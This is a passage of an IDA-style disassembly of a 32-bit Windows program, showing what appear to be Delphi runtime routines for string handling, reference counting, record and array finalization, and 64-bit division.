; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EEC	proc near		; CODE XREF: sub_403038+8Bp
					; sub_4033B0+6Dp ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_401EF9
		not	ecx


loc_401EF9:				; CODE XREF: sub_401EEC+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_401EB0
sub_401EEC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401F04	proc near		; CODE XREF: sub_4016A4+3Ep
					; sub_4016A4+56p ...
		test	eax, eax
		jz	short locret_401F0B
		mov	eax, [eax-4]

locret_401F0B:				; CODE XREF: sub_401F04+2j
		retn
sub_401F04	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F0C	proc near		; CODE XREF: sub_401F50+1Dj
					; sub_401F50+6Ej ...
		test	edx, edx
		jz	short locret_401F4F
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_401E18
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_401F44
		call	sub_402184
		mov	eax, esi
		mov	ecx, [esi-4]


loc_401F37:				; CODE XREF: sub_401F0C+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_401264
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401F44:				; CODE XREF: sub_401F0C+1Fj
		call	sub_402184
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_401F37
; ---------------------------------------------------------------------------

locret_401F4F:				; CODE XREF: sub_401F0C+2j
		retn
sub_401F0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F50	proc near		; CODE XREF: CODE:004042C5p
		test	edx, edx
		jz	short loc_401FB5
		test	ecx, ecx
		jz	sub_401E18
		cmp	edx, [eax]
		jz	short loc_401FBC
		cmp	ecx, [eax]
		jz	short loc_401F72
		push	eax
		push	ecx
		call	sub_401E18
		pop	edx
		pop	eax
		jmp	sub_401F0C
; ---------------------------------------------------------------------------


loc_401F72:				; CODE XREF: sub_401F50+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_401E84
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_401264
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_401264
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_401FAC
		dec	dword ptr [edi-8]


loc_401FAC:				; CODE XREF: sub_401F50+57j
		call	sub_401E18
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401FB5:				; CODE XREF: sub_401F50+2j
		mov	edx, ecx
		jmp	sub_401E18
; ---------------------------------------------------------------------------


loc_401FBC:				; CODE XREF: sub_401F50+Ej
		mov	edx, ecx
		jmp	sub_401F0C
sub_401F50	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401FC4	proc near		; CODE XREF: CODE:00404252p
					; CODE:004044C9p ...
		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_401FDB
		cmp	[eax], ecx
		jnz	short loc_401FDB
		mov	edi, eax


loc_401FDB:				; CODE XREF: sub_401FC4+Fj
					; sub_401FC4+13j
		xor	eax, eax


loc_401FDD:				; CODE XREF: sub_401FC4+2Bj
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_401FEE
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_401FEE
		xor	edi, edi


loc_401FEE:				; CODE XREF: sub_401FC4+1Fj
					; sub_401FC4+26j
		dec	edx
		jnz	short loc_401FDD
		test	edi, edi
		jz	short loc_402009
		mov	edx, eax
		mov	eax, edi
		mov	esi, [edi]
		mov	esi, [esi-4]
		call	sub_402184
		push	edi
		add	esi, [edi]
		dec	ebx
		jmp	short loc_402011
; ---------------------------------------------------------------------------


loc_402009:				; CODE XREF: sub_401FC4+2Fj
		call	sub_401E84
		push	eax
		mov	esi, eax


loc_402011:				; CODE XREF: sub_401FC4+43j
					; sub_401FC4+62j
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_402025
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_401264


loc_402025:				; CODE XREF: sub_401FC4+55j
		dec	ebx
		jnz	short loc_402011
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_40203A
		test	edx, edx
		jz	short loc_402035
		dec	dword ptr [edx-8]


loc_402035:				; CODE XREF: sub_401FC4+6Cj
		call	sub_401E18


loc_40203A:				; CODE XREF: sub_401FC4+68j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_401FC4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402048	proc near		; CODE XREF: sub_402C0C+12p
					; sub_402C0C+1Ap ...
		test	eax, eax
		jz	short locret_402055
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_402055
		inc	dword ptr [eax-8]

locret_402055:				; CODE XREF: sub_402048+2j
					; sub_402048+8j
		retn
sub_402048	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402058	proc near		; CODE XREF: sub_4016A4+46p
					; sub_402C0C+3Cp ...
		test	eax, eax
		jz	short loc_40205E
		retn
; ---------------------------------------------------------------------------
byte_40205D	db 0			; DATA XREF: sub_402058:loc_40205Eo
; ---------------------------------------------------------------------------


loc_40205E:				; CODE XREF: sub_402058+2j
		mov	eax, offset byte_40205D
		retn
sub_402058	endp


; =============== S U B	R O U T	I N E =======================================



sub_402064	proc near		; CODE XREF: sub_4020A4j sub_4020ACj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_4020A1
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_4020A1
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_401E84
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_401264
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_40209E
		dec	dword ptr [eax-8]
		jnz	short loc_40209E
		lea	eax, [eax-8]
		call	sub_40115C


loc_40209E:				; CODE XREF: sub_402064+2Bj
					; sub_402064+30j
		mov	edx, [ebx]
		pop	ebx


loc_4020A1:				; CODE XREF: sub_402064+4j
					; sub_402064+Aj
		mov	eax, edx
		retn
sub_402064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_4020F4+9p
		jmp	sub_402064
sub_4020A4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AC	proc near		; CODE XREF: sub_402C0C+56p
					; sub_402CDC+8Ep ...
		jmp	sub_402064
sub_4020AC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4020B4	proc near		; CODE XREF: sub_403168+AAp
					; sub_403168+F1p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_4020E6
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_4020E6
		dec	edx
		jl	short loc_4020DE
		cmp	edx, ebx
		jge	short loc_4020E6


loc_4020C7:				; CODE XREF: sub_4020B4+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_4020E6
		cmp	ecx, ebx
		jg	short loc_4020E2


loc_4020D1:				; CODE XREF: sub_4020B4+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_401EB0
		jmp	short loc_4020EF
; ---------------------------------------------------------------------------


loc_4020DE:				; CODE XREF: sub_4020B4+Dj
		xor	edx, edx
		jmp	short loc_4020C7
; ---------------------------------------------------------------------------


loc_4020E2:				; CODE XREF: sub_4020B4+1Bj
		mov	ecx, ebx
		jmp	short loc_4020D1
; ---------------------------------------------------------------------------


loc_4020E6:				; CODE XREF: sub_4020B4+3j
					; sub_4020B4+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_401DC4


loc_4020EF:				; CODE XREF: sub_4020B4+28j
		pop	ebx
		retn	4
sub_4020B4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4020F4	proc near		; CODE XREF: sub_403168+4Cp
					; sub_403168+D0p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_4020A4
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_402138
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_402138
		cmp	esi, ecx
		jge	short loc_402138
		test	edi, edi
		jle	short loc_402138
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_40211E
		mov	edi, ecx


loc_40211E:				; CODE XREF: sub_4020F4+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edi+edx]
		call	sub_401264
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_402184


loc_402138:				; CODE XREF: sub_4020F4+12j
					; sub_4020F4+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40213C	proc near		; CODE XREF: sub_403168+3Dp
					; sub_403168+59p ...
		test	eax, eax
		jz	short locret_402180
		test	edx, edx
		jz	short loc_402175
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	ecx, [edi-4]
		push	edi
		mov	edx, [esi-4]
		dec	edx
		js	short loc_402170
		mov	al, [esi]
		inc	esi
		sub	ecx, edx
		jle	short loc_402170


loc_40215C:				; CODE XREF: sub_40213C+32j
		repne scasb
		jnz	short loc_402170
		mov	ebx, ecx
		push	esi
		push	edi
		mov	ecx, edx
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_402178
		mov	ecx, ebx
		jmp	short loc_40215C
; ---------------------------------------------------------------------------


loc_402170:				; CODE XREF: sub_40213C+17j
					; sub_40213C+1Ej ...
		pop	edx
		xor	eax, eax
		jmp	short loc_40217D
; ---------------------------------------------------------------------------


loc_402175:				; CODE XREF: sub_40213C+6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402178:				; CODE XREF: sub_40213C+2Ej
		pop	edx
		mov	eax, edi
		sub	eax, edx


loc_40217D:				; CODE XREF: sub_40213C+37j
		pop	edi
		pop	esi
		pop	ebx

locret_402180:				; CODE XREF: sub_40213C+2j
		retn
sub_40213C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402184	proc near		; CODE XREF: sub_4012C4+7Fp
					; sub_401F0C+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_4021D9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4021BA
		cmp	dword ptr [eax-8], 1
		jnz	short loc_4021BA
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_401174
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_4021E2
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_402184+11j
					; sub_402184+17j
		mov	eax, edx
		call	sub_401E84
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4021D9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_4021D4
		mov	ecx, esi


loc_4021D4:				; CODE XREF: sub_402184+4Cj
		call	sub_401264


loc_4021D9:				; CODE XREF: sub_402184+Bj
					; sub_402184+43j
		mov	eax, ebx
		call	sub_401DC4
		mov	[ebx], edi


loc_4021E2:				; CODE XREF: sub_402184+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402184	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402208


loc_4021E8:				; CODE XREF: sub_402208+1Dj
		mov	al, 1
		jmp	sub_40121C
; END OF FUNCTION CHUNK	FOR sub_402208
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402208


loc_4021F0:				; CODE XREF: sub_402208+2j
					; sub_402208+Dj
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402204
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_4010E4
		pop	eax

locret_402204:				; CODE XREF: sub_402208-14j
		retn
; END OF FUNCTION CHUNK	FOR sub_402208
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402208	proc near		; CODE XREF: sub_402350+81p
					; sub_40246C+61p

; FUNCTION CHUNK AT 004021E8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004021F0 SIZE 00000015 BYTES

		test	edx, edx
		jz	loc_4021F0
		mov	ecx, [edx-4]
		shr	ecx, 1
		jz	loc_4021F0
		push	ecx
		push	edx
		push	eax
		call	sub_4010DC
		test	eax, eax
		jz	loc_4021E8
		retn
sub_402208	endp


; =============== S U B	R O U T	I N E =======================================



sub_40222C	proc near		; CODE XREF: sub_402260+B1p
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_40223E:				; CODE XREF: sub_40222C+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_402260
		add	esi, 8
		dec	edi
		jg	short loc_40223E
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40222C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402260	proc near		; CODE XREF: sub_40222C+20p
					; sub_402260+9Bp ...
		cmp	ecx, 0
		jz	locret_40234B
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_4022A3
		cmp	al, 0Bh
		jz	short loc_4022C0
		cmp	al, 0Ch
		jz	short loc_4022D9
		cmp	al, 0Dh
		jz	short loc_4022E8
		cmp	al, 0Eh
		jz	short loc_402306
		cmp	al, 0Fh
		jz	loc_40231C
		cmp	al, 11h
		jz	loc_40232B
		jmp	loc_40233C
; ---------------------------------------------------------------------------


loc_4022A3:				; CODE XREF: sub_402260+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_4022B4
		call	sub_401DC4
		jmp	loc_402347
; ---------------------------------------------------------------------------


loc_4022B4:				; CODE XREF: sub_402260+48j
		mov	edx, ecx
		call	sub_401DE8
		jmp	loc_402347
; ---------------------------------------------------------------------------


loc_4022C0:				; CODE XREF: sub_402260+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_4022CF
		call	ds:off_405024
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_4022CF:				; CODE XREF: sub_402260+65j
		mov	edx, ecx
		call	ds:off_405028
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_4022D9:				; CODE XREF: sub_402260+24j
					; sub_402260+84j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_4025B0
		dec	edi
		jg	short loc_4022D9
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_4022E8:				; CODE XREF: sub_402260+28j
		push	ebp
		mov	ebp, edx


loc_4022EB:				; CODE XREF: sub_402260+A1j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_402260
		dec	edi
		jg	short loc_4022EB
		pop	ebp
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_402306:				; CODE XREF: sub_402260+2Cj
		push	ebp
		mov	ebp, edx


loc_402309:				; CODE XREF: sub_402260+B7j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_40222C
		dec	edi
		jg	short loc_402309
		pop	ebp
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_40231C:				; CODE XREF: sub_402260+30j
					; sub_402260+C7j
		mov	eax, ebx
		add	ebx, 4
		call	sub_402888
		dec	edi
		jg	short loc_40231C
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_40232B:				; CODE XREF: sub_402260+38j
					; sub_402260+D8j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_4027F4
		dec	edi
		jg	short loc_40232B
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_40233C:				; CODE XREF: sub_402260+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_402260+4Fj
					; sub_402260+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_40234B:				; CODE XREF: sub_402260+3j
		retn
sub_402260	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402350	proc near		; CODE XREF: sub_402350+CFp
					; sub_40246C+ACp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		xor	eax, eax
		mov	al, [ecx+1]
		lea	edi, [eax+ecx+0Ah]
		mov	ebp, [edi-4]
		xor	eax, eax
		mov	ecx, [edi-8]
		push	ecx


loc_40236A:				; CODE XREF: sub_402350+100j
		mov	ecx, [edi+4]
		sub	ecx, eax
		jle	short loc_40237C
		mov	edx, eax
		add	eax, esi
		add	edx, ebx
		call	sub_401264


loc_40237C:				; CODE XREF: sub_402350+1Fj
		mov	eax, [edi+4]
		mov	edx, [edi]
		mov	edx, [edx]
		mov	cl, [edx]
		cmp	cl, 0Ah
		jz	short loc_4023BB
		cmp	cl, 0Bh
		jz	short loc_4023CC
		cmp	cl, 0Ch
		jz	short loc_4023DD
		cmp	cl, 0Dh
		jz	short loc_4023EE
		cmp	cl, 0Eh
		jz	short loc_40240E
		cmp	cl, 0Fh
		jz	loc_402427
		cmp	cl, 11h
		jz	loc_402438
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_4023BB:				; CODE XREF: sub_402350+38j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_401E18
		mov	eax, 4
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_4023CC:				; CODE XREF: sub_402350+3Dj
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_402208
		mov	eax, 4
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_4023DD:				; CODE XREF: sub_402350+42j
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_4025A8
		mov	eax, 10h
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_402350+47j
		xor	ecx, ecx
		mov	cl, [edx+1]
		push	dword ptr [ecx+edx+2]
		push	dword ptr [ecx+edx+6]
		mov	ecx, [ecx+edx+0Ah]
		mov	ecx, [ecx]
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_40246C
		pop	eax
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_40240E:				; CODE XREF: sub_402350+4Cj
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	ecx, [ecx+edx+2]
		push	ecx
		mov	ecx, edx
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_402350
		pop	eax
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_402427:				; CODE XREF: sub_402350+51j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_4028A0
		mov	eax, 4
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_402438:				; CODE XREF: sub_402350+5Aj
		mov	ecx, edx
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_402830
		mov	eax, 4


loc_402449:				; CODE XREF: sub_402350+7Aj
					; sub_402350+8Bj ...
		add	eax, [edi+4]
		add	edi, 8
		dec	ebp
		jnz	loc_40236A
		pop	ecx
		sub	ecx, eax
		jle	short loc_402465
		lea	edx, [eax+ebx]
		add	eax, esi
		call	sub_401264


loc_402465:				; CODE XREF: sub_402350+109j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40246C	proc near		; CODE XREF: sub_402350+B6p
					; sub_40246C+98p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	ebp, [esp+10h+arg_0]
		mov	cl, [edi]
		cmp	cl, 0Ah
		jz	short loc_4024B2
		cmp	cl, 0Bh
		jz	short loc_4024C9
		cmp	cl, 0Ch
		jz	short loc_4024DD
		cmp	cl, 0Dh
		jz	short loc_4024F1
		cmp	cl, 0Eh
		jz	short loc_402512
		cmp	cl, 0Fh
		jz	loc_40252F
		cmp	cl, 11h
		jz	loc_402543
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_4024B2:				; CODE XREF: sub_40246C+13j
					; sub_40246C+56j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_401E18
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_4024B2
		jmp	loc_402557
; ---------------------------------------------------------------------------


loc_4024C9:				; CODE XREF: sub_40246C+18j
					; sub_40246C+6Dj
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_402208
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_4024C9
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_4024DD:				; CODE XREF: sub_40246C+1Dj
					; sub_40246C+81j
		mov	eax, ebx
		mov	edx, esi
		call	sub_4025A8
		add	ebx, 10h
		add	esi, 10h
		dec	ebp
		jnz	short loc_4024DD
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_4024F1:				; CODE XREF: sub_40246C+22j
		xor	ecx, ecx
		mov	cl, [edi+1]
		lea	edi, [ecx+edi+2]


loc_4024FA:				; CODE XREF: sub_40246C+A2j
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, [edi+8]
		push	dword ptr [edi+4]
		call	sub_40246C
		add	ebx, [edi]
		add	esi, [edi]
		dec	ebp
		jnz	short loc_4024FA
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_402512:				; CODE XREF: sub_40246C+27j
					; sub_40246C+BFj
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, edi
		call	sub_402350
		xor	eax, eax
		mov	al, [edi+1]
		add	ebx, [eax+edi+2]
		add	esi, [eax+edi+2]
		dec	ebp
		jnz	short loc_402512
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_40252F:				; CODE XREF: sub_40246C+2Cj
					; sub_40246C+D3j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_4028A0
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40252F
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_402543:				; CODE XREF: sub_40246C+35j
					; sub_40246C+E9j
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, edi
		call	sub_402830
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_402543


loc_402557:				; CODE XREF: sub_40246C+58j
					; sub_40246C+6Fj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40246C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402560	proc near		; CODE XREF: sub_402568+Fp sub_4025A8j
					; DATA XREF: ...
		mov	al, 10h
		jmp	sub_40121C
sub_402560	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402568	proc near		; CODE XREF: sub_4025A0j
					; DATA XREF: sub_402580+14o ...
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_40257C
		sub	ax, 8
		jz	short locret_40257C
		call	sub_402560
; ---------------------------------------------------------------------------

locret_40257C:				; CODE XREF: sub_402568+7j
					; sub_402568+Dj
		retn
sub_402568	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402580	proc near		; CODE XREF: sub_402914+1Dp
		mov	edx, offset off_4063F4
		xor	eax, eax


loc_402587:				; CODE XREF: sub_402580+12j
		mov	dword ptr [edx+eax*4], offset sub_402560
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_402587
		mov	eax, offset sub_402568
		mov	ds:off_4063F4, eax
		retn
sub_402580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4025A0	proc near		; CODE XREF: sub_4025B0+1p
		jmp	ds:off_4063F4
sub_4025A0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4025A8	proc near		; CODE XREF: sub_402350+92p
					; sub_40246C+75p
		jmp	ds:off_4063F8
sub_4025A8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4025B0	proc near		; CODE XREF: sub_402260+7Ep
		push	eax
		call	sub_4025A0
		pop	eax
		retn
sub_4025B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4025B8	proc near		; DATA XREF: sub_402914+13o
					; BSS:off_406000o
		mov	al, 11h
		jmp	sub_40121C
sub_4025B8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4025C0	proc near		; CODE XREF: sub_403900+65p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esp+10h+arg_4]
		or	ecx, ecx
		jnz	short loc_4025DA
		or	edx, edx
		jz	short loc_402632
		or	ebx, ebx
		jz	short loc_402632


loc_4025DA:				; CODE XREF: sub_4025C0+10j
		or	edx, edx
		jns	short loc_4025E8
		neg	edx
		neg	eax
		sbb	edx, 0
		or	edi, 1


loc_4025E8:				; CODE XREF: sub_4025C0+1Cj
		or	ecx, ecx
		jns	short loc_4025F6
		neg	ecx
		neg	ebx
		sbb	ecx, 0
		xor	edi, 1


loc_4025F6:				; CODE XREF: sub_4025C0+2Aj
		mov	ebp, ecx
		mov	ecx, 40h
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_402602:				; CODE XREF: sub_4025C0:loc_402619j
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_402619
		ja	short loc_402614
		cmp	esi, ebx
		jb	short loc_402619


loc_402614:				; CODE XREF: sub_4025C0+4Ej
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax


loc_402619:				; CODE XREF: sub_4025C0+4Cj
					; sub_4025C0+52j
		loop	loc_402602
		pop	ebx
		test	ebx, 1
		jz	short loc_40262B
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40262B:				; CODE XREF: sub_4025C0+62j
					; sub_4025C0+76j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_402632:				; CODE XREF: sub_4025C0+14j
					; sub_4025C0+18j
		div	ebx
		xor	edx, edx
		jmp	short loc_40262B
sub_4025C0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40263C	proc near		; CODE XREF: sub_40265C+106p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40246C
		pop	ebp
		retn	4
sub_40263C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40264C	proc near		; CODE XREF: sub_40265C+B0p
		jmp	sub_402260
sub_40264C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402654	proc near		; CODE XREF: sub_40265C+2Fp
		call	sub_4027F4
		retn
sub_402654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40265C	proc near		; CODE XREF: sub_40265C+173p
					; sub_4027E8+5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
